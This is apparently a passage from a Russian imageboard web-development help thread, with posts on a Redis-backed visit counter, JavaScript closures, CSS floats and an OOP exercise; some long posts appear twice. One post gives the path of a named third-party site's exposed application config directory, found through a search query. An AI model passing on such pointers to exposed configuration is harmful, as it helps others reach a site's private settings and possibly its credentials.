Миллион неэффективно. Надо кучу памяти PHP скрипту, одна ошибка - и надо весь миллион читать заново. Лучше блоками по несколько тысяч записей, конкретную цифру можно получить из тестов, интуиция говорит что она не очень важна.

> Только что написал алгоритм, но запутался. Сейчас попробую еще раз.


да, хорошо бы. У тебя пока только алгоритм доходит до шага сбора данных, а что дальше делается, не написано.

> всего лишь хочу набросать простой сайт, чтобы было что показать работодателю, что я более-менее разбираюсь в технологиях.


Это правильная мысль. Но ведь я не предлагаю добавить новый функционал, я предлагаю, раз уж ты по своей инициативе взялся за счетчик посещений в редис, попробовать сделать его как можно правильнее и пуленепробиваемей. Сейчас придумаем алгоритм, а уж потом реализовать его и протестировать дело недолгое.
#641 #567148
>>567127

> когда очищать данные из очереди?



Тут наверно не нужны метки. Тут есть такие варианты:

- выбрать блок данных из очереди
- обработать его
- закоммитить в базу
- удалить этот блок из очереди

И такой:

- выбрать блок данных из очереди
- обработать его
- удалить этот блок из очереди
- закоммитить в базу

В обоих из них есть проблема что что-то может сломаться между коммитом в БД и удалением блока из списка (между 3 и 4 шагом). В этом случае мы можем (в зависимости от архитектуры) получить либо потерянные просмотры либо учесть просмотры 2 раза.

Можно подумать и выбрать один из них либо подумать и придумать что-то чтобы эта ошибка не приводила к потерям данных. Ну например твоя идея про накопление дельты и уменьшение ее, возможно, могла бы от нее защитить. У меня в первоначальном алгоритме не было дельт, по задумке мы просто брали данные из очереди и делали на их основе UPDATE-ы в базе.

Аналогично, идея с временной меткой (скорее, каким-то порядковым номером, который можно присваивать элементам в очереди) тоже может защитить от повторного учета.

С другой стороны, вероятность что скрипт упадет между 3 и 4 шагами в первом алгоритме невысока, может быть это и не требуется.
#642 #567220
Нужно ли учить верстку, аноны?
#643 #567268
>>563977
А ты уверен, что этот хостинг на бесплатном тарифе позволяет совершать внешние запросы?
#644 #567275
>>567148
У редиса кстати есть свои транзакции http://redis.io/commands#transactions
Но я пока не понял, как с ними работать в клиенте. Так что наверное можно как-то синхронизировать откаты в mysql и redis.

Но вообще что-то сложное получается, я уже 2 раза переписывал алгоритм.
#645 #567311
>>567148
Ладно, я тут что-то намутил, сам не понял насколько правильно.
Получилось что нужны еще 2 сета и хеш помимо очереди.

1. set page:visits:unique. Здесь хранятся пары в виде строк "id:ip".
2. hash page:visits:count. Количество посещений для каждой страницы "id => кол-во посещений".
3. list page:visits:queue. Сюда кладем только id страниц.
4. set page:visits:added. Мне понадобился этот сет, чтобы избежать накопления одинаковых id в очереди. Теперь перед добавлением в очередь нужно проверить, есть ли этот id в сете. Жаль что нет гибридного класса, чтобы сет вел себя как список, или наоборот.

При просмотре:
1) Если id:ip не существует в сете p:v:u, добавляем его в сет, иначе конец.
2) находим id в хеше p:v:c, делаем incr (насколько я понял, если поля нет, то команда создаст его автоматически, присвоит 0, а затем уже сделает +1)
3) Если id не присутствует в p:v:a, добавляем его в этот сет и в очередь p:v:q.

Получается скромная очередь только из id посещенных страниц, но будет много обращений к редису в процессе переноса в базу. Возлагаю надежды на транзакции.
Итак, скрипт по расписанию:
1. Берет длину очереди на момент начала своей работы и запоминает ее в переменную (LLEN). Именно столько записей из очереди обработает скрипт, а не фиксированное кол-во, как я предлагал раньше.
2. Ходит в цикле и берет куски из очереди (например по 1000 элементов за одну транзакцию).
2.1. Здесь второй цикл, который ходит по этим 1000 id и запрашивает из редиса кол-во посещений для данного id.
2.2. Делает update в базе, set counter = counter + delta. Кстати я так и не понял, вынести счетчики в отдельную таблицу или оставить в таблице объявлений. Там вроде свои плюсы и минусы: либо лишний джойн, либо большое кол-во обращений к главной таблице. Думаю все же вынести в отдельную таблицу.
2.3. Декремент в p:v:c на величину delta.
2.4. Удаляем из очереди и из сета обработанные страницы.
2.5. Коммитим mysql и redis. Таким образом я надеюсь снимается вопрос согласованности.
#646 #567464
Гугл выдает ссылки на внутренности говносайтов, если вбить "predis transaction".
Например
www.dreamtimetraining.com.au/pdf-manage/app/config/
#647 #567526
Добрый вечер анончики. Задумал в рамках разминки мозгов написать скрипт который из слова составляет все возможные анаграммы.

После недолгой гуглежки пришла в голову идея написать рекурсивную функцию которой ты кормишь массив букв и она пробегая по нему берет букву подставляя её в новоиспеченную анаграмму, удаляет эту букву из массива и передает себе недоанаграмму и остаток массива.

В общем если у нас есть скажем массив [х,у,й]
то она форичем пробежит по нему и находясь на букве х
ансетнет её и вызовет саму себя передав себе х + [у,й]
находясь на букве у передаст себе у + [х,й]
и так далее пока не передаст себе пустой массив, что будет значить что все буквы задействованы и пора показывать что получилось.

В общем чет у меня не очень взлетело это. Подскажите в чем косяк.

http://ideone.com/RQ7hvE

Проблема в том, что я вроде бы написал код, в голове моей все должно работать, но работает в итоге все не так как нужно. Я сижу анализирую его и в упор не вижу ошибок. Ощущаю себя ебаным дауном в который раз решаю кодерские задачи :(
#648 #567552
Репост из "Мы вам перезвоним"-треда: >>567518
#649 #567761
Попалось в глаза в одной вакансии (повторно найти не смог, чтобы точно передать формулировку) умение создавать сайты с нуля без движка. Что это значит? Это создание лендингов или ещё каких-нибудь сайтов без поддержки или cms писать придется?
#650 #567807
>>567761

> cms писать придется?


This. Но не факт что придется. Может у них просто требование такое, чтоб отсеять совсем ньюфагов.
#651 #567831
Как лучше писать сервис похожий по функционалу на социальную сеть? На фреймворке? На чистом ООП? Как-нибудь ещё?
#652 #567864
>>567831
На ноде.
#653 #567879
>>567831
ну я бы на mvc-фреймворке каком-нибудь писал
#654 #567906
http://ideone.com/bx56X9

Пиздец, я справился с этим вроде бы, рейт мой алгоритм.
81 Кб, 772x369
someApprentice #655 #567943
>>566576

>Нарисуй на листке в клеточку разные расположения кошек и мышек и попробуй посчитать за сколько ходов кошка добирается до мышки.


Ну я сделал так, но все равно не понимаю как посчитать количество клеток по горизонтали и вертикали одновременно без моей функции. Одно дело посчитать в ручную количество клеток, а другое дело выразить это математически. Еще я не понимаю, почему плохо использовать декартово расстояние: В моем примере можно просто округлить значения и получить реальное количество клеток до объекта. Думаю, в других вариантах будет точно так же.
Дальше, если нужно, можно будет посчитать количество ходов до объекта из этого числа.

>>557273

>Надо это учитывать, надо считать именно за сколько ходов кошка доберется до клетки.


Еще я не понимаю, почему ты настаиваешь над высчитывании именно количество ходов. Использовать именно расстояние мне кажется более удобным, менее усложняющим код. По моему делать функцию подсчета ходов, это верный путь к запутыванию самого себя когда дело дойдет до поиска ошибок.

Еще раз спасибо, ОП (っ◔◡◔)っ ♥
#656 #567944
Что-то я не понимаю, этот тред про пхп или жаваскрипт?
#657 #567951
>>567944
про веб разаботку.
#658 #567954
>>567944
PHP, JS, SQL и базы данных, вёрстка, немного сети - на все эти темы здесь мелькали вопросы и ответы. Разве что аноны с вопросами по цмс так и не получили ничего, кроме советов почитать мануалы.
#659 #568063
Подкиньте хорошую книгу по PHP. И вообще, что надо изучать, чтобы стать web-программистом. Там вроде HTML, PHP, CSS, JS. И с чего начать.
#660 #568065
>>567951
Что там учить-то в JS, как "оживить" страницу и хватит его
#661 #568111
>>568065
Что значит "оживить"?
#662 #568117
>>568111
анимировать, чтобы выглядела как "живая"
#663 #568143
>>567220
Не нужно, если можешь себе позволить личного верстальщика.
33 Кб, 280x410
#664 #568154
>>566532

>А слышал ли ты про свойство clear? Что если внутрь блока поместить элемент со свойством clear?


Ой, ОП, помоему мы с тобой не поняли друг-друга, я читал статью на софтвейрманиакс.

>Для устранения подтягивания блоков существует специальное свойство -- clear. Оно заставляет элемент сдвигаться вниз, пока сбоку от него не останется float'ов.


Ну, ОК, вот https://jsfiddle.net/reL91myn/7/
#665 #568159
>>568154

Перевесь клеар на .block Видишь изменения?
Дальше попробуй разузнать про псевдоэлементы :before и :after
Ну и узнай что такое клеарфикс. Он выдается в гугле по первой ссылке. Не знаю где именно, ты найдешь про клеарфикс, возможно в его ксс будет много строк, но тебе нужно только три. Поэксперементируй удаляя лишние.

неОП
#666 #568172
>>568154

Тебе надо получше разобраться со свойством clear. Ты сейчас применил его к зафлоаченной картинке. Это помещает ее под предыдущей картинкой.

Но я тебя просил о другом. Я тебя просил подумать, как сделать чтобы серый блок .block охватывал бы содержащиеся в нем флоаты, то есть его высота была бы такой, чтобы низ блока был ниже низа флоатов в нем.

Затем я тебе дал подсказку, что для этого подходит свойство clear. Если его применить к элементу, то ему добавляется отступ сверху такой, чтобы он оказался ниже краев флоатов с указанной стороны.

Потому дам еще подсказку: подумай, как с помощью свойства clear сделать так, чтобы нижний край .block был ниже чем нижний край .banner. То есть блок охватывал бы содержащийся в нем флоат-элемент.

Возможно тебе для этого придется что-то дописать в HTML код (или добавить какие-то теги). Свойство float убирать с banner нельзя. Делать .block флоатом или ставить там overflow нельзя.

Если никаких идей нет, напиши, я дам еще какую-нибудь подсказку.
#667 #568295
>>567906
а кто может подсказать, как эту функцию переписать так, что бы она не просто эхала, а ретернила массив анограмм. Я не понимаю как сюда впихнуть ретерн грамотно. Разве что сделать глобальную переменную массив и в неё скидывать удачные варианты вместо эха.
#668 #568400
>>566669

Я 2 дня потратил на кучу статей по замыканиям даже видеоурок в первый раз в жизни посмотрел, узнал наконец что значат скобки вокруг функции типа (function() {})() и в итоге все равно ни малейшего понятия не имею как эту задачу решать.

Вот например аргументы.
var add5 = partial(add, 5); в этой строке происходит запуск функции partial(add, 5)?
Почему в arguments сначала add, 5 а потом аргументы add5? Когда они меняются? Или вот, ты дал исправление. Я понимаю что делают 2 строки моего кода, понимаю что делает concat, заменил свои строки на него и в итоге ничего не работает. А почему? А черт его знает.

>> for (var j = 0; j <= arguments.length; j++) {


>> args.push(arguments[j]);


>А это на concat()



Который день уже никаких продвижений в обучении. С такими трудностями я еще не встречался. Совершенно не понимаю что мне делать. Я уверен, что и вопросы неправильные задал, потому как не понимаю что тут написано. Еще и отладчик как назло пропускает важные ходы и не показывает значения переменных, часто перескакивает.

Никогда не было таких мыслей, но теперь понимаю анонов, забрасывающих программирование.
#669 #568411
>>568400

> в этой строке происходит запуск функции partial(add, 5)?


Да. В JS с этим все просто: если ты видишь конструкцию вида

name(...) или
(выражение)(...)

то это вызов функции. Вызвать функцию можно не только по имени или ссылке на нее в переменной, но и на любом выражении которое возвращает функцию:

getFunction()();

равносильно

var f = getFunction();
f();

Соответственно можно (но не нужно) писать даже сложные выражения вида:

var result = getHash()[index](a, b, c)();

Читается это так:

var hash = getHash();
var f1 = hash[index];
var f2 = f1(a, b, c);
var result = f2();

Вообще, в JS функции это объекты. Их можно (точнее ссылки на них можно) хранить в переменных, передавать в качестве аргументов, возвращать через return, сохранять в массив итд.

> Почему в arguments сначала add, 5 а потом аргументы add5? Когда они меняются?


arguments это не настоящая переменная, а псевдопеременная (конструкия языка, похожая на переменную). В arguments всегда хранятся аругменты, с которыми вызвана текущая функция. Потому если ты проверяешь arguments в разных функциях (внешней и внутренней) то он будет там разный. Так как это разные функции, вызванные с разными аргументами.

Ты можешь проверить это сделав console.log(arguments) в начале каждой функции.

Также, так как arguments это не настоящая переменная, не стоит пытаться ее модифицировать. Только читай, но не пиши туда ничего.

Также, объект arguments напоминает массив наличием свойств 0, 1, length, но им не является. У него нет методов вроде concat или slice.

> Я понимаю что делают 2 строки моего кода, понимаю что делает concat, заменил свои строки на него и в итоге ничего не работает. А почему?


А ты сравни что возвращает твой старый и новый код при одних и тех же аргументах.

>Который день уже никаких продвижений в обучении.


Ну ты задавай вопросы, если что-то непонятно, я постараюсь объяснить. Тема сложная, но надо в ней разобраться чтобы потом на таких моментах не тупить.
#669 #568411
>>568400

> в этой строке происходит запуск функции partial(add, 5)?


Да. В JS с этим все просто: если ты видишь конструкцию вида

name(...) или
(выражение)(...)

то это вызов функции. Вызвать функцию можно не только по имени или ссылке на нее в переменной, но и на любом выражении которое возвращает функцию:

getFunction()();

равносильно

var f = getFunction();
f();

Соответственно можно (но не нужно) писать даже сложные выражения вида:

var result = getHash()[index](a, b, c)();

Читается это так:

var hash = getHash();
var f1 = hash[index];
var f2 = f1(a, b, c);
var result = f2();

Вообще, в JS функции это объекты. Их можно (точнее ссылки на них можно) хранить в переменных, передавать в качестве аргументов, возвращать через return, сохранять в массив итд.

> Почему в arguments сначала add, 5 а потом аргументы add5? Когда они меняются?


arguments это не настоящая переменная, а псевдопеременная (конструкия языка, похожая на переменную). В arguments всегда хранятся аругменты, с которыми вызвана текущая функция. Потому если ты проверяешь arguments в разных функциях (внешней и внутренней) то он будет там разный. Так как это разные функции, вызванные с разными аргументами.

Ты можешь проверить это сделав console.log(arguments) в начале каждой функции.

Также, так как arguments это не настоящая переменная, не стоит пытаться ее модифицировать. Только читай, но не пиши туда ничего.

Также, объект arguments напоминает массив наличием свойств 0, 1, length, но им не является. У него нет методов вроде concat или slice.

> Я понимаю что делают 2 строки моего кода, понимаю что делает concat, заменил свои строки на него и в итоге ничего не работает. А почему?


А ты сравни что возвращает твой старый и новый код при одних и тех же аргументах.

>Который день уже никаких продвижений в обучении.


Ну ты задавай вопросы, если что-то непонятно, я постараюсь объяснить. Тема сложная, но надо в ней разобраться чтобы потом на таких моментах не тупить.
82 Кб, 604x453
#670 #568420
вы все здесь ёбнутые. зайчем вы здесь в 5 утра?
117 Кб, 1355x672
#671 #568421
>>568411

Вот например еще раз решил пробежаться пошагово по скрипту. На скрине шаг после args.push(arguments);

Смотрим условие. Если j <= числа аргументов, то выполняется добавление в массив элементов из arguments. Но почему это все мгновенно проскакивается без всякого добавления? Если j = 0, а 0 <= 2?

И еще. Раз в строке var add5 = partial(add, 5); происходит запуск функции, то получается он возвращает NaN? Ну т.к. там одного аргумента не хватает. Ясное дело, что то возвращение ни на что не влияет, но все же.

>>568420

Самое работоспособное время.
#672 #568424
>>568421

А зачем ты точек останова столько ставишь? Там есть клавиши F10 и F11 для перехода на следющую строку с заходом/обходом функции, плюс в меню правой кнопки есть пункт «Run to here».
#673 #568427
>>568421

> Раз в строке var add5 = partial(add, 5); происходит запуск


Мы вызываем функцию partial, она вполняется, создает новую функцию, возвращает нам, мы кладем ссылку на нее в переменную add5
#674 #568430
>>568421

> Но почему это все мгновенно проскакивается без всякого добавления? Если j = 0, а 0 <= 2?



А ты не путаешь что-то? Конструкция

return function () { ... } ;

Создает и возвращает функцию, но в нее естественно не заходит. И вообще конструкция вида function () {} создает функцию, но не вызывает ее. Может в этом дело?

Точки останова внутри функции в строках 9-16 сработают при вызове этой функции в строке 27-29.
#675 #568434
>>568427
>>568430

Спасибо, стало намного понятнее. Начинаю ориентироваться в этом коде. Сейчас попытаюсь внести изменения, о которых ты говорил выше.
#676 #568435
>>568434

>> for (var i = 1; i < arguments.length; i++) {


>> args.push(arguments);


>Это можно заменить на трюк с Array.prototype.slice.call



var args = Array.prototype.slice.call(arguments);

А разве там есть способ начать с произвольного аргумента в arguments? Например мне нужно с 1, а не с 0.
Или тут уже полученный массив переделать, убрав 1 элемент?
#677 #568436
>>568435

В общем, вот что получилось. Проверяльщик все принял. Чую, что еще можно сократить, но по крайней мере рад тому, что разобрался как это работает. Спасибо :3

https://ideone.com/DH1RTc
#678 #568440
>>568436

https://ideone.com/VxoEhf

Шестая. Проверил ее с несколькими undefined и с несколькими запусками, работает. Проверяльщик тоже принял. И да, с ним небольшая странность, он принимает только нужное название функции. 2 раза пытался проверить с названием функции partial и он все отвергал, а оказывается название в задании сменили на partialAny.
#679 #568594
Всем привет, я вообще нуб. На данный момент прохожу учебник из ОП-поста. Зацените, как я решил задачу на палиндромы, 2 дня ебался с ней.

http://ideone.com/zcFbxo

Ваши комментарии
#680 #568597
>>568594
Мне жаль тебя огорчать
http://ideone.com/NkN6Vy
#681 #568607
>>568597
Ну да, я знаю, что код несовершенен, но формально-то я её сделал. Ну да, не до конца, да. Буду дальше ебаться с ней, чтобы ты меня не смог больше подъебать так.
#682 #568615
>>568607
И вообще, я подумал, что надо условие значит внутрь цикла ставить? М?
#683 #568617
>>568615
Правильно подумал.
529 Кб, 1920x1080
#684 #568629
11 задача по JS на сортировку городов по населению.

https://ideone.com/jOe9i9
65 Кб, 722x515
12 Кб, 479x179
#685 #568713
12 задача по JS на тугрики и калории.

Я видимо не совсем понял поставленную задачу. Сначала делал 1 пик. Хотел узнавать про размер, начинку и т.д. и выдавать нужный результат, но мой знакомый меня исправил 2 пик.

Вот что в итоге сделал. Хотя бы задачу я понял уже правильно?

https://ideone.com/1wV1z5
#686 #568737
>>568713

Твой знакомый написал все верно.

Это задача на ООП. Тебе надо сделать класс, который получает на вход информацию о гамбургере, и на выходе дает информацию о весе и цене.

Ниакакого взаимодействия с пользователем и внешним миром класс делать не должен - все нужные данные ты передаешь ему явно. Ни спрашивать ничего, ни выводить.

Почему? Потому что каждый должен заниматься своим делом, класс должен только обсчитывать гамбургер, а вводом-выводом пусть занимаются другие. Иначе мы получим кашу, где разные функции смешаны вместе.

Типы начинок надо сделать разумеется константами. Никаких магических строк не должно быть.

Переданную информацию о параметрах гамбургера класс хранит внутри в своих полях.

Вот как может выглядеть использование этого класса:

// маленький с начинкой из сыра
var hamburger = new Hamburger(Hamburger.SIZE_SMALL, Hamburger.STUFFING_CHEESE);
// добавка из майонеза
hamburger.addTopping(Hamburger.TOPPING_MAYO);
// спросим сколько там калорий
console.log("Calories: %f", hamburger.countCalories());
// сколько стоит
console.log("Price: %f", hamburger.countPrice());
// я тут передумал и решил добавить еще приправу
hamburger.addTopping(Hamburger.TOPPING_SAUCE);
// А сколько теперь стоит?
console.log("Price with sauce: %f", hamburger.countPrice());

При непраильном использовании класс сообщает об этом с помощью выброса исключения (урок, правда на примере PHP но суть та же: https://gist.github.com/codedokode/65d43ca5ac95c762bc1a и еще ссылка: https://learn.javascript.ru/exception )

// не передали обязательные параметры
var h2 = new Hamburger(); // => HamburgerException: no size given
// передаем некорректные значения, добавку вместо размера

var h3 = new Hamburger(Hamburger.TOPPING_SAUCE, Hamburger.TOPPING_SAUCE); // => HamburgerException: invalid size 'TOPPING_SAUCE'

// добавляем много добавок
var h4 = new Hamburger(Hamburger.SIZE_SMALL, Hamburger.STUFFING_CHEESE);
hamburger.addTopping(Hamburger.TOPPING_MAYO);
hamburger.addTopping(Hamburger.TOPPING_MAYO); // HamburgerException: duplicate topping 'TOPPING_MAYO'

Обрати внимание в коде выше на такие моменты:

- класс не взаимодействует с внешним миром. Это не его дело, этим занимается другой код, а класс живет в изоляции от мира
- типы начинок обозначены константами с понятными именами
- об исключительных ситуациях сообщаем с помощью исключений

Если ты внимательно читал учебник по JS то наверно знаешь что в JS нет классов, а до версии ES5 (новые браузеры) нет и констант.

Классы в JS имитируются разными споcобами, самый общеупотребисмвй - через добавление методов в прототипы:

https://learn.javascript.ru/prototype
https://learn.javascript.ru/classes

Константы в ES3 имитируются созданием переменной или свойства с именем большими буквами (то есть на договоренности что это мы будем воспринимать как константу), в ES5 появились свойства только для чтения.

В ES6 добавлен синтаксис для классов (с константами), но для начала давай-ка ты научишься делать все по старинке, на ES3, так как такой код встретится в 99% библиотек. Вот новый синтаксис:

http://frontender.info/es6-classes-final/

Обрати внимание что это лишь синтаксис, и в итоге создается та же самая имитация класса через протоотипы. Потому я и говорю что сначала ты должен научиться создавать их вручную, а потом только переходить на удобный синтаксис.

ES3 (ES = ECMAScript, название JavaScript это защищенная торговая марка и ее нельзя так просто использовать), ES5, ES6 - это версии JS. ES3 это версия которая работает во всех браузерах с 2000 года. ES5, 6 - новые, их уровень поддержки описан тут:

http://kangax.github.io/compat-table/es5/
https://kangax.github.io/compat-table/es6/
http://caniuse.com/#search=es5
http://caniuse.com/#search=es6

Советую погуглить на тему «что нового в ES5/6» чтобы разбираться. Также, некоторые пишут код на этих новых версиях и компилируют транспайлером в ES3 для того, чтобы получить поддержку во всех браузерах.

Есть вопросы - задавай.

Конечно для решения этой задачи хорошо бы знать сами принципы ООП.

Вот тебе в помощь еще паста как решать ООП-задачи:

Когда ты решаешь задачу на ООП, ты должен ответить на вопросы:

— какие есть сущности, для которых мы сделаем классы? (Гамбургер)
— какие у них есть свойства (размер, начинка, добавки). цена или калории не являются свойствами так как они вычисляются из других свойств и хранить их не надо.
— что мы хотим от них получить (какие у них должны быть методы). Например, сколько стоит гамбургер
— как сущности связаны? У нас одна сущность Гамбургер и она с другими никак не связана
#686 #568737
>>568713

Твой знакомый написал все верно.

Это задача на ООП. Тебе надо сделать класс, который получает на вход информацию о гамбургере, и на выходе дает информацию о весе и цене.

Ниакакого взаимодействия с пользователем и внешним миром класс делать не должен - все нужные данные ты передаешь ему явно. Ни спрашивать ничего, ни выводить.

Почему? Потому что каждый должен заниматься своим делом, класс должен только обсчитывать гамбургер, а вводом-выводом пусть занимаются другие. Иначе мы получим кашу, где разные функции смешаны вместе.

Типы начинок надо сделать разумеется константами. Никаких магических строк не должно быть.

Переданную информацию о параметрах гамбургера класс хранит внутри в своих полях.

Вот как может выглядеть использование этого класса:

// маленький с начинкой из сыра
var hamburger = new Hamburger(Hamburger.SIZE_SMALL, Hamburger.STUFFING_CHEESE);
// добавка из майонеза
hamburger.addTopping(Hamburger.TOPPING_MAYO);
// спросим сколько там калорий
console.log("Calories: %f", hamburger.countCalories());
// сколько стоит
console.log("Price: %f", hamburger.countPrice());
// я тут передумал и решил добавить еще приправу
hamburger.addTopping(Hamburger.TOPPING_SAUCE);
// А сколько теперь стоит?
console.log("Price with sauce: %f", hamburger.countPrice());

При непраильном использовании класс сообщает об этом с помощью выброса исключения (урок, правда на примере PHP но суть та же: https://gist.github.com/codedokode/65d43ca5ac95c762bc1a и еще ссылка: https://learn.javascript.ru/exception )

// не передали обязательные параметры
var h2 = new Hamburger(); // => HamburgerException: no size given
// передаем некорректные значения, добавку вместо размера

var h3 = new Hamburger(Hamburger.TOPPING_SAUCE, Hamburger.TOPPING_SAUCE); // => HamburgerException: invalid size 'TOPPING_SAUCE'

// добавляем много добавок
var h4 = new Hamburger(Hamburger.SIZE_SMALL, Hamburger.STUFFING_CHEESE);
hamburger.addTopping(Hamburger.TOPPING_MAYO);
hamburger.addTopping(Hamburger.TOPPING_MAYO); // HamburgerException: duplicate topping 'TOPPING_MAYO'

Обрати внимание в коде выше на такие моменты:

- класс не взаимодействует с внешним миром. Это не его дело, этим занимается другой код, а класс живет в изоляции от мира
- типы начинок обозначены константами с понятными именами
- об исключительных ситуациях сообщаем с помощью исключений

Если ты внимательно читал учебник по JS то наверно знаешь что в JS нет классов, а до версии ES5 (новые браузеры) нет и констант.

Классы в JS имитируются разными споcобами, самый общеупотребисмвй - через добавление методов в прототипы:

https://learn.javascript.ru/prototype
https://learn.javascript.ru/classes

Константы в ES3 имитируются созданием переменной или свойства с именем большими буквами (то есть на договоренности что это мы будем воспринимать как константу), в ES5 появились свойства только для чтения.

В ES6 добавлен синтаксис для классов (с константами), но для начала давай-ка ты научишься делать все по старинке, на ES3, так как такой код встретится в 99% библиотек. Вот новый синтаксис:

http://frontender.info/es6-classes-final/

Обрати внимание что это лишь синтаксис, и в итоге создается та же самая имитация класса через протоотипы. Потому я и говорю что сначала ты должен научиться создавать их вручную, а потом только переходить на удобный синтаксис.

ES3 (ES = ECMAScript, название JavaScript это защищенная торговая марка и ее нельзя так просто использовать), ES5, ES6 - это версии JS. ES3 это версия которая работает во всех браузерах с 2000 года. ES5, 6 - новые, их уровень поддержки описан тут:

http://kangax.github.io/compat-table/es5/
https://kangax.github.io/compat-table/es6/
http://caniuse.com/#search=es5
http://caniuse.com/#search=es6

Советую погуглить на тему «что нового в ES5/6» чтобы разбираться. Также, некоторые пишут код на этих новых версиях и компилируют транспайлером в ES3 для того, чтобы получить поддержку во всех браузерах.

Есть вопросы - задавай.

Конечно для решения этой задачи хорошо бы знать сами принципы ООП.

Вот тебе в помощь еще паста как решать ООП-задачи:

Когда ты решаешь задачу на ООП, ты должен ответить на вопросы:

— какие есть сущности, для которых мы сделаем классы? (Гамбургер)
— какие у них есть свойства (размер, начинка, добавки). цена или калории не являются свойствами так как они вычисляются из других свойств и хранить их не надо.
— что мы хотим от них получить (какие у них должны быть методы). Например, сколько стоит гамбургер
— как сущности связаны? У нас одна сущность Гамбургер и она с другими никак не связана
#687 #568738
>>568713

Заметь также что в моем примере класс не взаимодействует с внешним миром. За это отвечает наружный код. Потому наш класс унивесален: ты можешь использоватьт его в консоли, выводя данные через console.log, а можешь приделать навороенный HTML-интерфейс с кнопками для запуска на планшете с тачскрином. Именно в таком стиле ты должен писать ООП код.
#688 #568761
>>568713

Также дописал пояснения в текст самой задачи, а то я не помню ни одного анона который бы эту задачу с самого начала решал правильно.
#689 #568972
>>558058 (OP)
Чота заебала эта вебпараша. Еще стопяцот проектов на стопяцот фреймворках делать. Спрашивается нахуя, если я все равно не работаю, время тратить? Нахуя мне стопяцот фреймворков, если я что-то на одном могу делать. Нет, ну пусть когда платить будут - тогда и по необходимости остальное добью, но нахуй время тратить на монотонную работу-то? По-моему, интереснее новый ЯП освоить.
#690 #568975
Устроился джуниором, по началу долго разбирался, так как в вебе для меня было всё в новинку. Сейчас вроде бы уже месяца 4 прошло, а пиздец как косячу, меня постоянно поправляют. Это нормально? У всех так?
#691 #568976
>>568972
В любом япе без фреймворков ты нахуй ни кому не нужен. Ты родился слишком поздно чтобы байтоёбить.
#692 #568986
>>567311

О, давай-ка с тобой разберемся. Я помню, ты выше писал что хочешь поскорее доделать проект. Если так, то ты должен жертвовать какими-то фичами, отказываясь от них или упрощая их, но не стоит делать их в спешке или плохо. На реальных проектах такое кстати часто встречается, я не помню такого, чтобы времени было много.

То есть лучше сделать меньше, но хорошо.

Теперь по поводу подсчета посещений.

Я вспомнил кое-что. По поводу использования одного хеша с многими ключами (page:visits:unique) против хранения отдельных ключей (visit:{IP}:{id}): второй подход дает большую масштабируемость, к примеру можно разнести ключи по 2 и более серверам (или ядрам), а вот хеш нельзя. Масштабируемость важная штука так как редис однопоточный и его процесс больше одного ядра процессора использовать не может.

Эта возможность масштабирования благодаря независимости отдельных ключей - важное преимущество NoSQL решений перед реляционными базами данных вроде MySQL (чтобы ее масштабировать, надо отказаться от джйонов, транзакций, внешних ключей + допиливать приложение). Хорошее NoSQL хранилище масштабируется на несколько серверов из коробки, не требуя доработок приложения. Потому они часто используются в высоконагруженных приложениях с не очень важными данными вроде социальных игр.

В твоем случае, впрочем, мы можем решить что нагрузки у нас не такие большие и масштабируемость нам не нужна. Но ты должен помнить про эту особенность.

> set page:visits:added. Мне понадобился этот сет, чтобы избежать накопления одинаковых id в очереди.


Но в чем проблема накопления одинаковых id? Если мы храним в p:v:count только не сброшенную в БД дельту, то проблемы ведь быть не должно? Можно ли тогда отказаться от этого сета?

> 2) находим id в хеше p:v:c, делаем incr (насколько я понял, если поля нет, то команда создаст его автоматически, присвоит 0, а затем уже сделает +1)


Да

> Получается скромная очередь только из id посещенных страниц, но будет много обращений к редису в процессе переноса в базу. Возлагаю надежды на транзакции.


Зря. Сила NoSQL хранилищ как раз во многом из-за отстутсивя в них транзакций. Например с транзакциями не получится простое масштаирование на несколько серверов.

Я пролистал документацию http://redis.io/topics/transactions и вижу как минимум такие подвохи:

- в ходе транзакции надо проверять не было ли ошибок в одной из команд, иначе эта ошибочная команда проигнорируется (с версии 2.6.5 редис стал умнее и не будет выполнять такие транзакции)

И что еще хуже:

> Errors happening after EXEC instead are not handled in a special way: all the other commands will be executed even if some command fails during the transaction.


То есть редис не гарантирует что все команды в транзакции будут выполнены. Это совсем не то же что транзакции в MySQL например.

В общем, транзакции использовать можно, но стоит помнить про эти подвохи и соответственно проектировать алгоритм чтобы он был отказоустойчив сам по себе.

Заметь что блокировки там тоже сделаны по-другому. Например вместо пессимистичных блокировок (строка, обновленная транзакцией, блокируется на время ее выполнения) там добровольные оптимистичные, основанные на команде WATCH (редис запоминает значение ключа в момент вызова WATCH и если к моменту EXEC оно изменится, транзакция изменяется, и клиент может попробовать повторить попытку).

По поводу алгоритма:

>2. Ходит в цикле и берет куски из очереди (например по 1000 элементов за одну транзакцию).


> 2.1. Здесь второй цикл, который ходит по этим 1000 id и запрашивает из редиса кол-во посещений для данного id.


У меня такая мысль: мы же можем просто класть каждое уникальное посещение в очередь. А при выборке суммировать их и группировать, чтобы получить дельты. И тогда мы можем отказаться от pvq и pva. Соответственно уменьшится число записей в редис и сильно уменьшится вероятность потери/повторного учета данных. Или я что-то не учел? Например, мы не сможем получить точное значение счетчика в текущий момент (которое считается как число в базе + дельта в редисе). Да, это недостаток. Но от pva то наверно можно отказаться?

Если использовать только очередь, то у нас одна точка отказа: ошибка между коммитом транзакции и удалением блока из очереди. У тебя впрочем при использовании транзакции тоже вроде остается одна точка отказа (между 2 коммитами в БД и редис).

Обрати внимание, что там можно еще сделать группировку при выполнении апдейтов. Если тебе надо увеличить счетчик на 5 для объявлений 100, 200, 300 то это можно сделать одним UPDATE, а не тремя. Это должно хорошо работать если у нас маленькое число просмотров разбросано по большому числу объявлений так, что большинство получает 1-2 просмотра.

> Кстати я так и не понял, вынести счетчики в отдельную таблицу или оставить в таблице объявлений. Там вроде свои плюсы и минусы: либо лишний джойн, либо большое кол-во обращений к главной таблице. Думаю все же вынести в отдельную таблицу.


Без тестов по производительности (сравнивать время выборки из таблицы с и без параллельно работающим скриптом обновления) что-то сказать трудно, считаю это лишним усложнением. Строки, по которым делается UPDATE, блокируются до конца транзакции, но если транзакции не длинные по времени, то вероятность что читающий скрипт в них попадет, мне кажется, невелика. Поэтому не стоит делать гигантские транзакции (на сотни тысяч строк).

Не вижу особой выгоды от отдельной таблицы. Ты же все равно будешь к ней обращаться (и ловить блокировки), плюс ты не сможешь делать составные индексы вида город + просмотры (для поиска популярных объявлений в городе).

По поводу настройки редиса: у него есть важные параметры, которые ты должен настроить:

- ограничение на объем памяти (maxmemory)
- что делать если память закончилась? (maxmemory-policy и возможно там по умолчанию стоит «выкинуть лишние ключи»)
